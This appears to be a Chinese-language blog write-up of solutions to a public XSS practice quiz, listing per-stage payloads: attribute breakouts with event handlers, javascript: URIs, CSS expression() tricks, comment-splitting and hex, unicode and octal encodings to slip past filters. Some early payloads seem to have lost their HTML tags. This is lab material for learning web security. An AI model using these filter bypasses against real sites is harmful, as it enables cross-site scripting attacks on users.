xss

https://xss-quiz.int21h.jp/

第一题

第二题">

第三题抓包,在第二个标签输入代码:alert(document.domain)

第四题抓包,在第三个”/>alert(document.domain)<”

第五题抓包,输入>

第六题" onmouseover="alert(document.domain)

第七题onmouseover= alert(document.domain)双引号被编码,用空格

第八题javascript:alert(document.domain)

第九题需UTF-7编码,IE环境

第十题" onmouseover="alert(document.ddomainomain)双写

第十一题">test // tab制表符html十进制编码          %09也就是tab制表符,使用在单个标签之内,会被浏览器正确去除,而在跨标签的时候(也就是闭合前面原有标签,使用在构造者构造的新标签的时候)不会被正确去除。也仅仅是%09,其十进制编码和十六进制编码都不会受影响。后面测试发现%0a和%0d一样受到影响。

第十二题  ``onmouseover=alert(1)               <>"被过滤,根据提示可以知道x00-,x20,<,>,",'都被过滤了,但是`还没被过滤,前提是IE,只有IE才有这个特性

第十三题提示style attribute,在CSS样式中利用expression实现javascript中的onmouseover或onmouseout事件,同样前提是IE

     aa:expression(onmouseover=function(){alert(document.domain)})

     还有一种:

     background-color:#f00;background:url("javascript:alert(document.domain);");

第十四题过滤了expression,url,eval,script,但是通过加入注释符可绕过:here:expre/**/ssion(onmouseover=function(){alert(document.domain)})

或者:here:expre/**/ssion(window.x?0:(alert(document.domain),window.x=1));


第十五题换成16进制编码\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

换成Unicode编码\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e


第十六题 把\\x 替换成了\\\\x,但是js编码又不止16进制,还有八进制,unicode编码

用unicode编码

\\u003cimg src=x onerror=alert(document.domain)\\u003e

八进制编码

\\74img src=x onerror=alert(document.domain)\\76


第十七题宽字节啥啥的,没搞懂

你可能感兴趣的:(xss)